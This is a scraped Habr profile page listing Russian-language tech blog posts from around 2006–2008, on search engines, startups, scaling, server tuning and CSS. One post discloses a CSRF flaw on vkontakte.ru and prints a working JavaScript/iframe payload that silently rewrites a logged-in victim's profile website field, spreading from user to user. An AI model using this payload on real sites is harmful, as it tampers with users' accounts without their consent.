Pull to refresh
1
0
Сергей Дроганов @droganov

User

Send message

Wikiasari – будущий конкурент Google?

Reading time2 min
Views869
Джимми Уэльс
Джимми Уэльс (Jimmy Wales), создатель Википедии, планирует в будущем году представить поисковик Wikiasari, который, по его словам, составит конкуренцию лидеру в области поиска – Google.

Результаты поиска Wikiasari будут основаны на сведениях, которые предоставляют пользователи – так же, как строится всемирно известная Википедия. Название проекта образовано от двух слов: wiki («быстрый» на гавайском) и asari («тщательный поиск» на японском). Примерная дата запуска нового сервиса – первый квартал 2007 года, сообщает Times Online.

Поисковик создаётся в «недрах» компании Wikia, которая, как известно, недавно получила инвестиции от Amazon. Тем не менее, Джимми Уэльс отверг предположения о том, что Wikiasari разрабатывается в сотрудничестве с новым инвестором.

Глава Wikia уверен в успехе своего начинания. Говоря об основном конкуренте – Google, он отмечает, что «главным поисковиком» фактически манипулируют спамеры, в результате чего пользователям подчас невозможно получить корректный ответ на свой запрос. Поисковый алгоритм, основанный на «разуме машины», по мнению Джимми Уэльса, не может отвечать потребностям пользователей. Поэтому он предлагает использовать показавшую свою эффективность технологию wiki, которая лежит в основе Википедии.

«Одна из основных задач поисковика – принять решение: этот сайт хорош, а этот – дерьмо», — разъясняет Уэльс основы поисковых технологий. – «Компьютеры не могут принимать подобные решения. Но мы сами можем прекрасно это делать: нам просто достаточно взглянуть на сайт.»

Джимми Уэльс верит, что репутация Википедии, прозрачность её технологии позволят привлечь пользователей к Wikiasari – и создать вокруг нового поисковика сообщество, которое сделает его таким же популярным, как всемирно известную онлайн-энциклопедию.

Анонимные источники авторов блога Techcrunch раскрыли некоторые детали проекта. В частности, известно, что до недавнего времени он назывался WikiSearch. Первые три ссылки в результатах поиска Wikiasari будут вести на страницы Википедии. Движок поисковика разрабатывается как open-source и будет доступен под GFDL. Несмотря на то, что Джимми Уэльс говорит о Википедии как примере для Wikiasari, в поисковике будет размещаться реклама, т.е. он будет нацелен на коммерческий успех (неудивительно с учётом того, что владеть поисковиком будет Wikia).

Поисковая выдача Wikiasari будет выглядеть, по неподтверждённым данным, так:

Wikiasari
Total votes 29: ↑24 and ↓5+19
Comments25

OpenID: последний элемент в головоломке Веб 2.0

Reading time2 min
Views730
Как известно, OpenID — это удобная технология для «сквозной» авторизации на различных сайтах в интернете. Заведя себе один-единственный аккаунт, пользователь с его помощью осуществляет авторизацию на всех веб-сайтах, которые поддерживают OpenID.
Читать дальше →
Total votes 38: ↑37 and ↓1+36
Comments25

18 ошибок, из-за которых погибают стартапы

Reading time4 min
Views3.1K
Известный программист и предприниматель Пол Грэхем, создавший в 1995 г. первое в интернете интерактивное веб-приложение (которые нынче считают приложениями Веб 2.0), дает советы о создании интернет-стартапов. Точнее, это предостережения об ошибках, которые не нужно совершать. На своем сайте он опубликовал список из 18-ти ошибок, которые смертельны для стартапов.
Читать дальше →
Rating0
Comments36

Дом Яндекса на Самокатной

Reading time4 min
Views4.9K
О том, как живут простые труженики Google, Yahoo и Microsoft, информации в сети предостаточно. С российскими IT-компаниями ситуация сложнее: они зачастую не столь открыты для всеобщего взора, хотя потенциальным работникам и просто любопытным бывает интересно узнать — «что внутри».

«Яндекс» является одним из лидеров хабрарейтинга компаний, а его лидерство в рунете мало кто решится оспорить. Здание, где работают люди, благодаря которым «найдётся всё», я посетил в конце прошлой недели.

Читать дальше →
Total votes 143: ↑141 and ↓2+139
Comments149

BumpTop™ 3D Десктоп

Reading time1 min
Views1.1K
Шикарный ролик нашел на «ютубе» — прототип 3d десктопа. Возможно гуру дизайна уже видели это, но для меня данный ролик явился открытием. Рекомендую досмотреть до конца.

Судя по пустоватости официального сайта (www.bumptop.com) проект свежий, но я возможно ошибаюсь. Кто знает что-нибудь о проекте — пишите в комментах!

UPD: Кому жалко трафик или непонятен язык: urbansheep.livejournal.com/1540758.html (tnx 2 TheBitsTheBits)
Total votes 46: ↑34 and ↓12+22
Comments49

Советы бизнес-стартапам от Гая Кавасаки

Reading time3 min
Views3.8K

Через блог Дмитрия Давыдова узнал про великолепную презентацию Гая Кавасаки на TiECon 2006, посвященную его книге «The Art of the Start».

Я решил законспектировать основные тезисы. Итак, советы Гая Кавасаки, известного венчурного инвестора, начинающему предпринимателю:

Читать дальше →
Total votes 61: ↑57 and ↓4+53
Comments51

Интервью с бывшим главой «НТВ-Дизайн»

Reading time1 min
Views1.2K
В конце декабря стало известно о том, что ликвидируется компания «НТВ-Дизайн», разработавшая стили «НТВ-Плюс», ТНТ, радио «Эхо Москвы» и работавшая над художественным оформлением НТВ. Корреспондент «Ленты.Ру» встретился с последним генеральным директором «НТВ-Дизайна» и бывшим арт-директором НТВ Сергеем Шановичем, который рассказал о причинах ликвидации компании, несостоявшейся смене имиджа НТВ и оценил внешний вид российских телеканалов.

Интересный взгляд на один из рынков дизайна в России. Рекомендую к прочтению.
Total votes 33: ↑30 and ↓3+27
Comments12

Подведены итоги конкурса «Золотой сайт 2006»

Reading time5 min
Views1.2K
21 Декабря закончился седьмой ежегодный всероссийский интернет-конкурс Золотой сайт.
В этом году в конкурсе приняли участие 507 сайтов (за исключением бесплатной категории Классика, в которй участвовало еще 375 сайтов)
Читать дальше →
Total votes 13: ↑11 and ↓2+9
Comments0

IP География

Reading time2 min
Views14K
Недавно мне пришлось иметь дело с программой для ведения статистики кликов некой системы обмена объявлений. При щелчке как обычно собиралась информация о клике (на какой странице произошло, во сколько, браузер, ИН объявления и IP). В представлении статистики состояла задача — узнать город из которого произошел переход. Раньше я этим не интересовался особо поэтому только сечас у меня началось более глубокое знакомство с GeoIP системами.

Кроме того как это удалось
Я расскажу еще о некоторых интересных сервисах
Total votes 22: ↑19 and ↓3+16
Comments32

Отговорки исполнителей на требования заказчиков сдать работу

Reading time4 min
Views11K
Бывает так: закажет человек работу, денег даст. Может быть даже договор и задание в письменном виде будет. Однако время идет, а работы нет.

Что говорят и что надо говорить?
Читать дальше →
Total votes 143: ↑132 and ↓11+121
Comments50

CSRF на vkontakte.ru

Reading time1 min
Views7.8K
Обнаружил забавную атаку на сайт vkontakte.ru.
При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:
<script>
function doit() {
  var html;
  html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com>';
  window.frames["frm"].document.body.innerHTML = html;
}
</script>
<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.

Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.

Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.

Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)
Total votes 143: ↑143 and ↓0+143
Comments134

10 лучших офисных кресел

Reading time1 min
Views17K
Герман Миллер (Herman Miller) произвел настоящую революцию офисной мебели, создав кресло Аэрон (Aeron) в 1994 году. Главными достоинствами нового кресла Аэрон были комфорт и гибкость, что «подстегнуло» других производителей стремиться к новым высотам качества. Мы выбрали 10 самых на наш взгляд интересных моделей офисных кресел.
Читать дальше →
Total votes 83: ↑49 and ↓34+15
Comments120

Личность программиста

Reading time5 min
Views37K
«Чтобы стать экспертом в практической или научной области, нужны огромный труд и долгое время. Если человек добросовестно трудится каждый час рабочего дня, когда-нибудь он проснется одним из самых компетенткых специалистов своего поколения.»
Ульям Джеймс


Мы с вами много говорим о том, как нужно строить архитектуру ПО, как следует выбирать имена для переменных, каким образом лучше документировать код и почему, и т.д.

Но ведь программы пишут люди, такие же, как мы с вами. Одни становятся выдающимися программистами и достигают больших успехов, другие же забрасывают профессию. Перефразируя классика, можно сказать: «покажи мне свой код, и я скажу, кто ты». Исследования показывают, что лучшие программисты создают программы в 10 раз быстрее, чем их менее квалифицированные коллеги. Время, уходящее на отладку кода, а также объем и быстродействие итоговой программы, уровень ошибок и число обнаруженных ошибок также различаются примерно в 10 раз.

В этой статье попытаемся ответить на вопрос, какими же качествами должен обладать человек для того, чтобы писать совершенный код.
Читать дальше →
Total votes 37: ↑35 and ↓2+33
Comments15

Борьба с DDOS и DOS на уровне nginx

Reading time1 min
Views8.3K
FreeBSD, сетевая Intel fxp, порт 100Мбит, polling, http accept-filter
в sysctl:

sysctl kern.maxfiles=90000
sysctl kern.maxfilesperproc=80000
sysctl net.inet.tcp.blackhole=2
sysctl net.inet.udp.blackhole=1
sysctl kern.polling.burst_max=1000
sysctl kern.polling.each_burst=50
sysctl kern.ipc.somaxconn=32768
sysctl net.inet.tcp.msl=3000
sysctl net.inet.tcp.maxtcptw=40960
sysctl net.inet.tcp.nolocaltimewait=1
sysctl net.inet.ip.portrange.first=1024
sysctl net.inet.ip.portrange.last=65535
sysctl net.inet.ip.portrange.randomized=0

Читать дальше →
Total votes 48: ↑45 and ↓3+42
Comments42

Основы масштабирования

Reading time10 min
Views63K
Прочитав в этом блоге о балансировке на стороне клиента, решил опубликовать свою статью, в которой описаны основные принципы масштабирования для web-проектов. Надеюсь, хабралюдям будет интересно почитать.

Основы масштабирования



Масштабируемость — способность устройства увеличивать свои
возможности
путем наращивания числа функциональных блоков,
выполняющих одни и
те же задачи.
Глоссарий.ru

Обычно о масштабировании начинают думать тогда, когда один
сервер не справляется с возложенной на него работой. С чем именно он не
справляется? Работа любого web-сервера по большому счету сводится к основному
занятию компьютеров — обработке данных. Ответ на HTTP (или любой другой) запрос
подразумевает проведение некоторых операций над некими данными. Соответственно,
у нас есть две основные сущности — это данные (характеризуемые своим объемом) и
вычисления (характеризуемые сложностью). Сервер может не справляться со своей
работой по причине большого объема данных (они могут физически не помещаться на
сервере), либо по причине большой вычислительной нагрузки. Речь здесь идет,
конечно, о суммарной нагрузке — сложность обработки одного запроса может быть
невелика, но большое их количество может «завалить» сервер.

Читать дальше →
Total votes 68: ↑67 and ↓1+66
Comments49

Deniskin и Mio расскажут, как сделать свой Хабрахабр

Reading time2 min
Views702
Случайное блуждание по интернету может вывести в совершенно неожиданные места. Оказывается, если кто хочет потрогать живого Денискина посмотреть, послушать и задать вопросы создателю Хабрахабра deniskinДенису Крючкову и его смотрителю mioИгорю Денисову, то отличная возможность представится послезавтра, 5 февраля:

Баннер: Продюсирование проекта по созданию тематических социальных сетей
Нажмите на баннер, чтобы рассмотреть его поближе

Итак, в этот вторник, вечером, клуб «Бизнес в стиле .RU» проводит встречу «Продюсирование проекта по созданию тематических социальных сетей». Цитирую:
Читать дальше →
Total votes 56: ↑52 and ↓4+48
Comments60

О чем не стоит забывать, когда верстаешь HTML

Reading time2 min
Views2.2K
Когда верстаешь (X)HTML, порой не знаешь или забываешь о многих фичах, которые стоит использовать. Перечислю те, о которых вечно забываю сам, а зря :)
Читать дальше →
Total votes 107: ↑83 and ↓24+59
Comments203

Про резиновую верстку

Reading time1 min
Views29K
Навеяно этим.

Для тех, кто, возможно, не знает как сделать так, чтоб всё было хорошо.
Сайт должен тянуться только до определённой величины, и сужаться тоже только до некоторого значения. Я обычно беру 1500 и 980 пикселей соответственно.

Как сделать? min-width и min-height.

#site {
  margin: 0 auto; /*это чтоб центрировать контент при превышении max-width*/
  min-width: 980px;
  max-width: 1500px;
}


Но ведь IE их не поодерживает. А expression слишком нагружает браузер… Спокойно, други! Я выведу вас к свету из тьмы!
Пишем далее.



А в ie.js помещаем

window.attachEvent('onload', mkwidth);
window.attachEvent('onresize', mkwidth);

var minwidth = document.getElementById("site").currentStyle['min-width'].replace('px', '');
var maxwidth = document.getElementById("site").currentStyle['max-width'].replace('px', '');
function mkwidth(){
    document.getElementById("site").style.width = document.documentElement.clientWidth < minwidth ? minwidth+"px" : (document.documentElement.clientWidth > maxwidth ? maxwidth+"px" : "100%");
};


В чём особенная вкусность приведённого метода? А в том, что минимальное и максимальное значение нужно задавать только в одном месте, ну и вообще.

Пользуйтесь, короче, на здоровье!
Total votes 130: ↑123 and ↓7+116
Comments139

Information

Rating
Does not participate
Location
Боровичи, Новгородская обл., Россия
Date of birth
Registered
Activity